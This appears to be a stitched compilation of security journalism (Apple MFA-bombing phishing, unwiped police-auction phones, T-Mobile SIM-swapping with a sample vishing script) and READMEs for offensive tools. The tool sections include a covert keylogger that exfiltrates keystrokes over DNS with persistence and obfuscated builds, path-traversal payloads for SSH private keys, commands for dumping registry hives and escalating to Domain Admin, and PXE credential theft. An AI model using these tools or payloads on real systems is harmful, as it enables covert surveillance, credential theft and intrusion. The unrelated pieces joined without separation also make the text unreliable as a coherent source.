Several Apple customers recently reported being targeted in elaborate phishing attacks that involve what appears to be a bug in Apple’s password reset feature. In this scenario, a target’s Apple devices are forced to display dozens of system-level prompts that prevent the devices from being used until the recipient responds “Allow” or “Don’t Allow” to each prompt. Assuming the user manages not to fat-finger the wrong button on the umpteenth password reset request, the scammers will then call the victim while spoofing Apple support in the caller ID, saying the user’s account is under attack and that Apple support needs to “verify” a one-time code.
Some of the many notifications Patel says he received from Apple all at once.
Parth Patel is an entrepreneur who is trying to build a startup in the conversational AI space. On March 23, Patel documented on Twitter/X a recent phishing campaign targeting him that involved what’s known as a “push bombing” or “MFA fatigue” attack, wherein the phishers abuse a feature or weakness of a multi-factor authentication (MFA) system in a way that inundates the target’s device(s) with alerts to approve a password change or login.
“All of my devices started blowing up, my watch, laptop and phone,” Patel told KrebsOnSecurity. “It was like this system notification from Apple to approve [a reset of the account password], but I couldn’t do anything else with my phone. I had to go through and decline like 100-plus notifications.”
Some people confronted with such a deluge may eventually click “Allow” to the incessant password reset prompts — just so they can use their phone again. Others may inadvertently approve one of these prompts, which will also appear on a user’s Apple watch if they have one.
But the attackers in this campaign had an ace up their sleeves: Patel said after denying all of the password reset prompts from Apple, he received a call on his iPhone that said it was from Apple Support (the number displayed was 1-800-275-2273, Apple’s real customer support line).
“I pick up the phone and I’m super suspicious,” Patel recalled. “So I ask them if they can verify some information about me, and after hearing some aggressive typing on his end he gives me all this information about me and it’s totally accurate.”
All of it, that is, except his real name. Patel said when he asked the fake Apple support rep to validate the name they had on file for the Apple account, the caller gave a name that was not his but rather one that Patel has only seen in background reports about him that are for sale at a people-search website called PeopleDataLabs.
Patel said he has worked fairly hard to remove his information from multiple people-search websites, and he found PeopleDataLabs uniquely and consistently listed this inaccurate name as an alias on his consumer profile.
“For some reason, PeopleDataLabs has three profiles that come up when you search for my info, and two of them are mine but one is an elementary school teacher from the midwest,” Patel said. “I asked them to verify my name and they said Anthony.”
Patel said the goal of the voice phishers is to trigger an Apple ID reset code to be sent to the user’s device, which is a text message that includes a one-time password. If the user supplies that one-time code, the attackers can then reset the password on the account and lock the user out. They can also then remotely wipe all of the user’s Apple devices.
Chris is a cryptocurrency hedge fund owner who asked that only his first name be used so as not to paint a bigger target on himself. Chris told KrebsOnSecurity he experienced a remarkably similar phishing attempt in late February.
“The first alert I got I hit ‘Don’t Allow’, but then right after that I got like 30 more notifications in a row,” Chris said. “I figured maybe I sat on my phone weird, or was accidentally pushing some button that was causing these, and so I just denied them all.”
Chris says the attackers persisted hitting his devices with the reset notifications for several days after that, and at one point he received a call on his iPhone that said it was from Apple support.
“I said I would call them back and hung up,” Chris said, demonstrating the proper response to such unbidden solicitations. “When I called back to the real Apple, they couldn’t say whether anyone had been in a support call with me just then. They just said Apple states very clearly that it will never initiate outbound calls to customers — unless the customer requests to be contacted.”
Massively freaking out that someone was trying to hijack his digital life, Chris said he changed his passwords and then went to an Apple store and bought a new iPhone. From there, he created a new Apple iCloud account using a brand new email address.
Chris said he then proceeded to get even more system alerts on his new iPhone and iCloud account — all the while still sitting at the local Apple Genius Bar.
Chris told KrebsOnSecurity his Genius Bar tech was mystified about the source of the alerts, but Chris said he suspects that whatever the phishers are abusing to rapidly generate these Apple system alerts requires knowing the phone number on file for the target’s Apple account. After all, that was the only aspect of Chris’s new iPhone and iCloud account that hadn’t changed.
“Ken” is a security industry veteran who spoke on condition of anonymity. Ken said he first began receiving these unsolicited system alerts on his Apple devices earlier this year, but that he has not received any phony Apple support calls as others have reported.
“This recently happened to me in the middle of the night at 12:30 a.m.,” Ken said. “And even though I have my Apple watch set to remain quiet during the time I’m usually sleeping at night, it woke me up with one of these alerts. Thank god I didn’t press ‘Allow,’ which was the first option shown on my watch. I had to scroll watch the wheel to see and press the ‘Don’t Allow’ button.”
Ken shared this photo he took of an alert on his watch that woke him up at 12:30 a.m. Ken said he had to scroll on the watch face to see the “Don’t Allow” button.
Ken didn’t know it when all this was happening (and it’s not at all obvious from the Apple prompts), but clicking “Allow” would not have allowed the attackers to change Ken’s password. Rather, clicking “Allow” displays a six digit PIN that must be entered on Ken’s device — allowing Ken to change his password. It appears that these rapid password reset prompts are being used to make a subsequent inbound phone call spoofing Apple more believable.
Ken said he contacted the real Apple support and was eventually escalated to a senior Apple engineer. The engineer assured Ken that turning on an Apple Recovery Key for his account would stop the notifications once and for all.
A recovery key is an optional security feature that Apple says “helps improve the security of your Apple ID account.” It is a randomly generated 28-character code, and when you enable a recovery key it is supposed to disable Apple’s standard account recovery process. The thing is, enabling it is not a simple process, and if you ever lose that code in addition to all of your Apple devices you will be permanently locked out.
Ken said he enabled a recovery key for his account as instructed, but that it hasn’t stopped the unbidden system alerts from appearing on all of his devices every few days.
KrebsOnSecurity tested Ken’s experience, and can confirm that enabling a recovery key does nothing to stop a password reset prompt from being sent to associated Apple devices. Visiting Apple’s “forgot password” page — https://iforgot.apple.com — asks for an email address and for the visitor to solve a CAPTCHA.
After that, the page will display the last two digits of the phone number tied to the Apple account. Filling in the missing digits and hitting submit on that form will send a system alert, whether or not the user has enabled an Apple Recovery Key.
The password reset page at iforgot.apple.com.
What sanely designed authentication system would send dozens of requests for a password change in the span of a few moments, when the first requests haven’t even been acted on by the user? Could this be the result of a bug in Apple’s systems?
Apple has not yet responded to requests for comment.
Throughout 2022, a criminal hacking group known as LAPSUS$ used MFA bombing to great effect in intrusions at Cisco, Microsoft and Uber. In response, Microsoft began enforcing “MFA number matching,” a feature that displays a series of numbers to a user attempting to log in with their credentials. These numbers must then be entered into the account owner’s Microsoft authenticator app on their mobile device to verify they are logging into the account.
Kishan Bagaria is a hobbyist security researcher and engineer who founded the website texts.com (now owned by Automattic), and he’s convinced Apple has a problem on its end. In August 2019, Bagaria reported to Apple a bug that allowed an exploit he dubbed “AirDoS” because it could be used to let an attacker infinitely spam all nearby iOS devices with a system-level prompt to share a file via AirDrop — a file-sharing capability built into Apple products.
Apple fixed that bug nearly four months later in December 2019, thanking Bagaria in the associated security bulletin. Bagaria said Apple’s fix was to add stricter rate limiting on AirDrop requests, and he suspects that someone has figured out a way to bypass Apple’s rate limit on how many of these password reset requests can be sent in a given timeframe.
“I think this could be a legit Apple rate limit bug that should be reported,” Bagaria said.
Apple seems requires a phone number to be on file for your account, but after you’ve set up the account it doesn’t have to be a mobile phone number. KrebsOnSecurity’s testing shows Apple will accept a VOIP number (like Google Voice). So, changing your account phone number to a VOIP number that isn’t widely known would be one mitigation here.
One caveat with the VOIP number idea: Unless you include a real mobile number, Apple’s iMessage and Facetime applications will be disabled for that device. This might a bonus for those concerned about reducing the overall attack surface of their Apple devices, since zero-click zero-days in these applications have repeatedly been used by spyware purveyors.
Also, it appears Apple’s password reset system will accept and respect email aliases. Adding a “+” character after the username portion of your email address — followed by a notation specific to the site you’re signing up at — lets you create an infinite number of unique email addresses tied to the same account.
For instance, if I were signing up at example.com, I might give my email address as krebsonsecurity+example@gmail.com. Then, I simply go back to my inbox and create a corresponding folder called “Example,” along with a new filter that sends any email addressed to that alias to the Example folder. In this case, however, perhaps a less obvious alias than “+apple” would be advisable.
Update, March 27, 5:06 p.m. ET: Added perspective on Ken’s experience. Also included a What Can You Do? section.
This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p
flag to specify a different port.
ip
is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain
is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com
and ns2.example.com
.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh
is used by the logger.sh
script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh
script. It will automatically establish a connection and send the data.
logger.sh
# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit
. This will silently start the keylogger, and any inputs typed will be sent. The && exit
at the end will cause the shell to close on exit
. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null
to display error messages.
The -p
option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/
.
The -l
option will show warnings and errors. Can be useful for debugging.
logger.sh
and connection.sh
must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile
to start on every new interactive shell.
connection.sh
Usage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make
in the windows
directory. To build with reduced size and some amount of obfuscation, make the production
target. This will create the build
directory for you and output to a file named logger.exe
in the build
directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug
target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig
to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short
send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short
send a test message to localhost.
Replace example.com
with the domain the server is listening for.
A record requests starting with a
indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b
indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id
is the id that was established on connection. Data is sent as ASCII encoded in hex.
code
is one of the codes described below.
200
: OKIf the client sends a request that is processed normally, the server will respond with code 200
.
201
: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201
.
202
: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202
.
203
: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203
. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204
Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204
.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat
, you should select the appropriate option to print ASCII control characters, such as -v
for cat
, or open it in a text-editor.
The keylogger relies on script
, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A
always sends duplicate requests. The server will process it fine because it discards repeated packets.
SSH Private Key Looting Wordlists. A Collection Of Wordlists To Aid In Locating Or Brute-Forcing SSH Private Key File Names.
?file=../../../../../../../../home/user/.ssh/id_rsa
?file=../../../../../../../../home/user/.ssh/id_rsa-cert
This repository contains a collection of wordlists to aid in locating or brute-forcing SSH private key file names. These wordlists can be useful for penetration testers, security researchers, and anyone else interested in assessing the security of SSH configurations.
These wordlists can be used with tools such as Burp Intruder, Hydra, custom python scripts, or any other bruteforcing tool that supports custom wordlists. They can help expand the scope of your brute-forcing or enumeration efforts when targeting SSH private key files.
This wordlist repository was inspired by John Hammond in his vlog "Don't Forget This One Hacking Trick."
Please use these wordlists responsibly and only on systems you are authorized to test. Unauthorized use is illegal.
The tool in question was created in Go and its main objective is to search for API keys in JavaScript files and HTML pages.
It works by checking the source code of web pages and script files for strings that are identical or similar to API keys. These keys are often used for authentication to online services such as third-party APIs and are confidential and should not be shared publicly.
By using this tool, developers can quickly identify if their API keys are leaking and take steps to fix the problem before they are compromised. Furthermore, the tool can be useful for security officers, who can use it to verify that applications and websites that use external APIs are adequately protecting their keys.
In summary, this tool is an efficient and accurate solution to help secure your API keys and prevent sensitive information leaks.
git clone https://github.com/MrEmpy/Mantra
cd Mantra
make
./build/mantra-amd64-linux -h
The goal of this project is to accumulate the secret keys / secret materials related to various web frameworks, that are publicly available and potentially used by developers. These secrets will be utilized by the Blacklist3r tools to audit the target application and verify the usage of these pre-published keys.
We are releasing this project with.Net machine key tool to identify usage of pre-shared Machine Keys in the application for encryption and decryption of forms authentication cookie.
Note: Requires Visual Studio 2019, not 2022. Visual Studio 2022 does not support .NET Framework 4.5, which this repo relies on.
The BackupOperatorToolkit (BOT) has 4 different mode that allows you to escalate from Backup Operator to Domain Admin.
Use "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe" before running the tool.
The SERVICE mode creates a service on the remote host that will be executed when the host is rebooted.
The service is created by modyfing the remote registry. This is possible by passing the "REG_OPTION_BACKUP_RESTORE" value to RegOpenKeyExA and RegSetValueExA.
It is not possible to have the service executed immediately as the service control manager database "SERVICES_ACTIVE_DATABASE" is loaded into memory at boot and can only be modified with local administrator privileges, which the Backup Operator does not have.
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION
The DSRM mode will set the DsrmAdminLogonBehavior registry key found in "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" to either 0, 1, or 2.
Setting the value to 0 will only allow the DSRM account to be used when in recovery mode.
Setting the value to 1 will allow the DSRM account to be used when the Directory Services service is stopped and the NTDS is unlocked.
Setting the value to 2 will allow the DSRM account to be used with network authentication such as WinRM.
If the DUMP mode has been used and the DSRM account has been cracked offline, set the value to 2 and log into the Domain Controller with the DSRM account which will be local administrator.
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2
The DUMP mode will dump the SAM, SYSTEM, and SECURITY hives to a local path on the remote host or upload the files to a network share.
Once the hives have been dumped you could PtH with the Domain Controller hash, crack DSRM and enable network auth, or possibly authenticate with another account found in the dumps. Accounts from other forests may be stored in these files, I'm not sure why but this has been observed on engagements with management forests. This mode is inspired by the BackupOperatorToDA project.
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
The IFEO (Image File Execution Options) will enable you to run an application when a specifc process is terminated.
This could grant a shell before the SERVICE mode will in case the target host is heavily utilized and rarely rebooted.
The executable will be running as a child to the WerFault.exe process.
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK
Countless smartphones seized in arrests and searches by police forces across the United States are being auctioned online without first having the data on them erased, a practice that can lead to crime victims being re-victimized, a new study found. In response, the largest online marketplace for items seized in U.S. law enforcement investigations says it now ensures that all phones sold through its platform will be data-wiped prior to auction.
Researchers at the University of Maryland last year purchased 228 smartphones sold “as-is” from PropertyRoom.com, which bills itself as the largest auction house for police departments in the United States. Of phones they won at auction (at an average of $18 per phone), the researchers found 49 had no PIN or passcode; they were able to guess an additional 11 of the PINs by using the top-40 most popular PIN or swipe patterns.
Phones may end up in police custody for any number of reasons — such as its owner was involved in identity theft — and in these cases the phone itself was used as a tool to commit the crime.
“We initially expected that police would never auction these phones, as they would enable the buyer to recommit the same crimes as the previous owner,” the researchers explained in a paper released this month. “Unfortunately, that expectation has proven false in practice.”
The researchers said while they could have employed more aggressive technological measures to work out more of the PINs for the remaining phones they bought, they concluded based on the sample that a great many of the devices they won at auction had probably not been data-wiped and were protected only by a PIN.
Beyond what you would expect from unwiped second hand phones — every text message, picture, email, browser history, location history, etc. — the 61 phones they were able to access also contained significant amounts of data pertaining to crime — including victims’ data — the researchers found.
Some readers may be wondering at this point, “Why should we care about what happens to a criminal’s phone?” First off, it’s not entirely clear how these phones ended up for sale on PropertyRoom.
“Some folks are like, ‘Yeah, whatever, these are criminal phones,’ but are they?” said Dave Levin, an assistant professor of computer science at University of Maryland.
“We started looking at state laws around what they’re supposed to do with lost or stolen property, and we found that most of it ends up going the same route as civil asset forfeiture,” Levin continued. “Meaning, if they can’t find out who owns something, it eventually becomes the property of the state and gets shipped out to these resellers.”
Also, the researchers found that many of the phones clearly had personal information on them regarding previous or intended targets of crime: A dozen of the phones had photographs of government-issued IDs. Three of those were on phones that apparently belonged to sex workers; their phones contained communications with clients.
An overview of the phone functionality and data accessibility for phones purchased by the researchers.
One phone had full credit files for eight different people on it. On another device they found a screenshot including 11 stolen credit cards that were apparently purchased from an online carding shop. On yet another, the former owner had apparently been active in a Telegram group chat that sold tutorials on how to run identity theft scams.
The most interesting phone from the batches they bought at auction was one with a sticky note attached that included the device’s PIN and the notation “Gry Keyed,” no doubt a reference to the Graykey software that is often used by law enforcement agencies to brute-force a mobile device PIN.
“That one had the PIN on the back,” Levin said. “The message chain on that phone had 24 Experian and TransUnion credit histories”.
The University of Maryland team said they took care in their research not to further the victimization of people whose information was on the devices they purchased from PropertyRoom.com. That involved ensuring that none of the devices could connect to the Internet when powered on, and scanning all images on the devices against known hashes for child sexual abuse material.
It is common to find phones and other electronics for sale on auction platforms like eBay that have not been wiped of sensitive data, but in those cases eBay doesn’t possess the items being sold. In contrast, platforms like PropertyRoom obtain devices and resell them at auction directly.
PropertyRoom did not respond to multiple requests for comment. But the researchers said sometime in the past few months PropertyRoom began posting a notice stating that all mobile devices would be wiped of their data before being sold at auction.
“We informed them of our research in October 2022, and they responded that they would review our findings internally,” Levin said. “They stopped selling them for a while, but then it slowly came back, and then we made sure we won every auction. And all of the ones we got from that were indeed wiped, except there were four devices that had external SD [storage] cards in them that weren’t wiped.”
A copy of the University of Maryland study is here (PDF).
Image: Shutterstock.com
Three different cybercriminal groups claimed access to internal networks at communications giant T-Mobile in more than 100 separate incidents throughout 2022, new data suggests. In each case, the goal of the attackers was the same: Phish T-Mobile employees for access to internal company tools, and then convert that access into a cybercrime service that could be hired to divert any T-Mobile user’s text messages and phone calls to another device.
The conclusions above are based on an extensive analysis of Telegram chat logs from three distinct cybercrime groups or actors that have been identified by security researchers as particularly active in and effective at “SIM-swapping,” which involves temporarily seizing control over a target’s mobile phone number.
Countless websites and online services use SMS text messages for both password resets and multi-factor authentication. This means that stealing someone’s phone number often can let cybercriminals hijack the target’s entire digital life in short order — including access to any financial, email and social media accounts tied to that phone number.
All three SIM-swapping entities that were tracked for this story remain active in 2023, and they all conduct business in open channels on the instant messaging platform Telegram. KrebsOnSecurity is not naming those channels or groups here because they will simply migrate to more private servers if exposed publicly, and for now those servers remain a useful source of intelligence about their activities.
Each advertises their claimed access to T-Mobile systems in a similar way. At a minimum, every SIM-swapping opportunity is announced with a brief “Tmobile up!” or “Tmo up!” message to channel participants. Other information in the announcements includes the price for a single SIM-swap request, and the handle of the person who takes the payment and information about the targeted subscriber.
The information required from the customer of the SIM-swapping service includes the target’s phone number, and the serial number tied to the new SIM card that will be used to receive text messages and phone calls from the hijacked phone number.
Initially, the goal of this project was to count how many times each entity claimed access to T-Mobile throughout 2022, by cataloging the various “Tmo up!” posts from each day and working backwards from Dec. 31, 2022.
But by the time we got to claims made in the middle of May 2022, completing the rest of the year’s timeline seemed unnecessary. The tally shows that in the last seven-and-a-half months of 2022, these groups collectively made SIM-swapping claims against T-Mobile on 104 separate days — often with multiple groups claiming access on the same days.
The 104 days in the latter half of 2022 in which different known SIM-swapping groups claimed access to T-Mobile employee tools.
KrebsOnSecurity shared a large amount of data gathered for this story with T-Mobile. The company declined to confirm or deny any of these claimed intrusions. But in a written statement, T-Mobile said this type of activity affects the entire wireless industry.
“And we are constantly working to fight against it,” the statement reads. “We have continued to drive enhancements that further protect against unauthorized access, including enhancing multi-factor authentication controls, hardening environments, limiting access to data, apps or services, and more. We are also focused on gathering threat intelligence data, like what you have shared, to help further strengthen these ongoing efforts.”
While it is true that each of these cybercriminal actors periodically offer SIM-swapping services for other mobile phone providers — including AT&T, Verizon and smaller carriers — those solicitations appear far less frequently in these group chats than T-Mobile swap offers. And when those offers do materialize, they are considerably more expensive.
The prices advertised for a SIM-swap against T-Mobile customers in the latter half of 2022 ranged between USD $1,000 and $1,500, while SIM-swaps offered against AT&T and Verizon customers often cost well more than twice that amount.
To be clear, KrebsOnSecurity is not aware of specific SIM-swapping incidents tied to any of these breach claims. However, the vast majority of advertisements for SIM-swapping claims against T-Mobile tracked in this story had two things in common that set them apart from random SIM-swapping ads on Telegram.
First, they included an offer to use a mutually trusted “middleman” or escrow provider for the transaction (to protect either party from getting scammed). More importantly, the cybercriminal handles that were posting ads for SIM-swapping opportunities from these groups generally did so on a daily or near-daily basis — often teasing their upcoming swap events in the hours before posting a “Tmo up!” message announcement.
In other words, if the crooks offering these SIM-swapping services were ripping off their customers or claiming to have access that they didn’t, this would be almost immediately obvious from the responses of the more seasoned and serious cybercriminals in the same chat channel.
There are plenty of people on Telegram claiming to have SIM-swap access at major telecommunications firms, but a great many such offers are simply four-figure scams, and any pretenders on this front are soon identified and banned (if not worse).
One of the groups that reliably posted “Tmo up!” messages to announce SIM-swap availability against T-Mobile customers also reliably posted “Tmo down!” follow-up messages announcing exactly when their claimed access to T-Mobile employee tools was discovered and revoked by the mobile giant.
A review of the timestamps associated with this group’s incessant “Tmo up” and “Tmo down” posts indicates that while their claimed access to employee tools usually lasted less than an hour, in some cases that access apparently went undiscovered for several hours or even days.
How could these SIM-swapping groups be gaining access to T-Mobile’s network as frequently as they claim? Peppered throughout the daily chit-chat on their Telegram channels are solicitations for people urgently needed to serve as “callers,” or those who can be hired to social engineer employees over the phone into navigating to a phishing website and entering their employee credentials.
Allison Nixon is chief research officer for the New York City-based cybersecurity firm Unit 221B. Nixon said these SIM-swapping groups will typically call employees on their mobile devices, pretend to be someone from the company’s IT department, and then try to get the person on the other end of the line to visit a phishing website that mimics the company’s employee login page.
Nixon argues that many people in the security community tend to discount the threat from voice phishing attacks as somehow “low tech” and “low probability” threats.
“I see it as not low-tech at all, because there are a lot of moving parts to phishing these days,” Nixon said. “You have the caller who has the employee on the line, and the person operating the phish kit who needs to spin it up and down fast enough so that it doesn’t get flagged by security companies. Then they have to get the employee on that phishing site and steal their credentials.”
In addition, she said, often there will be yet another co-conspirator whose job it is to use the stolen credentials and log into employee tools. That person may also need to figure out how to make their device pass “posture checks,” a form of device authentication that some companies use to verify that each login is coming only from employer-issued phones or laptops.
For aspiring criminals with little experience in scam calling, there are plenty of sample call transcripts available on these Telegram chat channels that walk one through how to impersonate an IT technician at the targeted company — and how to respond to pushback or skepticism from the employee. Here’s a snippet from one such tutorial that appeared recently in one of the SIM-swapping channels:
“Hello this is James calling from Metro IT department, how’s your day today?”
(yea im doing good, how r u)
i’m doing great, thank you for asking
i’m calling in regards to a ticket we got last week from you guys, saying you guys were having issues with the network connectivity which also interfered with [Microsoft] Edge, not letting you sign in or disconnecting you randomly. We haven’t received any updates to this ticket ever since it was created so that’s why I’m calling in just to see if there’s still an issue or not….”
The TMO UP data referenced above, combined with comments from the SIM-swappers themselves, indicate that while many of their claimed accesses to T-Mobile tools in the middle of 2022 lasted hours on end, both the frequency and duration of these events began to steadily decrease as the year wore on.
T-Mobile declined to discuss what it may have done to combat these apparent intrusions last year. However, one of the groups began to complain loudly in late October 2022 that T-Mobile must have been doing something that was causing their phished access to employee tools to die very soon after they obtained it.
One group even remarked that they suspected T-Mobile’s security team had begun monitoring their chats.
Indeed, the timestamps associated with one group’s TMO UP/TMO DOWN notices show that their claimed access was often limited to less than 15 minutes throughout November and December of 2022.
Whatever the reason, the calendar graphic above clearly shows that the frequency of claimed access to T-Mobile decreased significantly across all three SIM-swapping groups in the waning weeks of 2022.
T-Mobile US reported revenues of nearly $80 billion last year. It currently employs more than 71,000 people in the United States, any one of whom can be a target for these phishers.
T-Mobile declined to answer questions about what it may be doing to beef up employee authentication. But Nicholas Weaver, a researcher and lecturer at University of California, Berkeley’s International Computer Science Institute, said T-Mobile and all the major wireless providers should be requiring employees to use physical security keys for that second factor when logging into company resources.
A U2F device made by Yubikey.
“These breaches should not happen,” Weaver said. “Because T-Mobile should have long ago issued all employees security keys and switched to security keys for the second factor. And because security keys provably block this style of attack.”
The most commonly used security keys are inexpensive USB-based devices. A security key implements a form of multi-factor authentication known as Universal 2nd Factor (U2F), which allows the user to complete the login process simply by inserting the USB key and pressing a button on the device. The key works without the need for any special software drivers.
The allure of U2F devices for multi-factor authentication is that even if an employee who has enrolled a security key for authentication tries to log in at an impostor site, the company’s systems simply refuse to request the security key if the user isn’t on their employer’s legitimate website, and the login attempt fails. Thus, the second factor cannot be phished, either over the phone or Internet.
Nixon said one confounding aspect of SIM-swapping is that these criminal groups tend to recruit teenagers to do their dirty work.
“A huge reason this problem has been allowed to spiral out of control is because children play such a prominent role in this form of breach,” Nixon said.
Nixon said SIM-swapping groups often advertise low-level jobs on places like Roblox and Minecraft, online games that are extremely popular with young adolescent males.
“Statistically speaking, that kind of recruiting is going to produce a lot of people who are underage,” she said. “They recruit children because they’re naive, you can get more out of them, and they have legal protections that other people over 18 don’t have.”
For example, she said, even when underage SIM-swappers are arrested, the offenders tend to go right back to committing the same crimes as soon as they’re released.
In January 2023, T-Mobile disclosed that a “bad actor” stole records on roughly 37 million current customers, including their name, billing address, email, phone number, date of birth, and T-Mobile account number.
In August 2021, T-Mobile acknowledged that hackers made off with the names, dates of birth, Social Security numbers and driver’s license/ID information on more than 40 million current, former or prospective customers who applied for credit with the company. That breach came to light after a hacker began selling the records on a cybercrime forum.
In the shadow of such mega-breaches, any damage from the continuous attacks by these SIM-swapping groups can seem insignificant by comparison. But Nixon says it’s a mistake to dismiss SIM-swapping as a low volume problem.
“Logistically, you may only be able to get a few dozen or a hundred SIM-swaps in a day, but you can pick any customer you want across their entire customer base,” she said. “Just because a targeted account takeover is low volume doesn’t mean it’s low risk. These guys have crews that go and identify people who are high net worth individuals and who have a lot to lose.”
Nixon said another aspect of SIM-swapping that causes cybersecurity defenders to dismiss the threat from these groups is the perception that they are full of low-skilled “script kiddies,” a derisive term used to describe novice hackers who rely mainly on point-and-click hacking tools.
“They underestimate these actors and say this person isn’t technically sophisticated,” she said. “But if you’re rolling around in millions worth of stolen crypto currency, you can buy that sophistication. I know for a fact some of these compromises were at the hands of these ‘script kiddies,’ but they’re not ripping off other people’s scripts so much as hiring people to make scripts for them. And they don’t care what gets the job done, as long as they get to steal the money.”
Invoke-Transfer is a PowerShell Clipboard Data Transfer.
This tool helps you to send files in highly restricted environments such as Citrix, RDP, VNC, Guacamole.. using the clipboard function.
As long as you can send text through the clipboard, you can send files in text format, in small Base64 encoded chunks. Additionally, you can transfer files from a screenshot, using the native OCR function of Microsoft Windows.
It is recommended to clone the complete repository or download the zip file. You can do this by running the following command:
git clone https://github.com/JoelGMSec/Invoke-Transfer
.\Invoke-Transfer.ps1 -h
___ _ _____ __
|_ _|_ __ _ __ __ | | __ __ |_ _| __ __ _ _ __ ___ / _| ___ _ __
| || '_ \ \ / / _ \| |/ / _ \____| || '__/ _' | '_ \/ __| |_ / _ \ '__|
| || | | \ V / (_) | < __/____| || | | (_| | | | \__ \ _| __/ |
|___|_| |_|\_/ \___/|_|\_\___| |_||_| \__,_|_| |_|___/_| \___|_|
----------------------- by @JoelGMSec & @3v4Si0N ---------------------
Info: This tool helps you to send files in highly restricted environments
such as Citrix, RDP, VNC, Guacamole... using the clipboard function
Usage: .\Invoke-Transfer.ps1 -split {FILE} -sec {SECONDS}
Send 120KB chunks with a set time delay of seconds
Add -guaca to send files through Apache Guacamole
.\Invoke-Transfer.ps1 -merge {B64FILE} -out {FILE}
Merge Base64 file into original file in de sired path
.\Invoke-Transfer.ps1 -read {IMGFILE} -out {FILE}
Read screenshot with Windows OCR and save output to file
Warning: This tool only works on Windows 10 or greater
OCR reading may not be entirely accurate
https://darkbyte.net/transfiriendo-ficheros-en-entornos-restringidos-con-invoke-transfer
This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.
This tool has been created and designed from scratch by Joel Gámez Molina (@JoelGMSec) and Héctor de Armas Padrón (@3v4si0n).
This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.
For more information, you can find us on Twitter as @JoelGMSec, @3v4si0n and on my blog darkbyte.net.
PXEThief is a set of tooling that implements attack paths discussed at the DEF CON 30 talk Pulling Passwords out of Configuration Manager (https://forum.defcon.org/node/241925) against the Operating System Deployment functionality in Microsoft Endpoint Configuration Manager (or ConfigMgr, still commonly known as SCCM). It allows for credential gathering from configured Network Access Accounts (https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts#network-access-account) and any Task Sequence Accounts or credentials stored within ConfigMgr Collectio n Variables that have been configured for the "All Unknown Computers" collection. These Active Directory accounts are commonly over permissioned and allow for privilege escalation to administrative access somewhere in the domain, at least in my personal experience.
Likely, the most serious attack that can be executed with this tooling would involve PXE-initiated deployment being supported for "All unknown computers" on a distribution point without a password, or with a weak password. The overpermissioning of ConfigMgr accounts exposed to OSD mentioned earlier can then allow for a full Active Directory attack chain to be executed with only network access to the target environment.
python pxethief.py -h
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1 in 'settings.ini'
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file (obtained from PXE, bootable or prestaged media) and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Policy XML file retrieved from a stand-alone TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in Hashcat
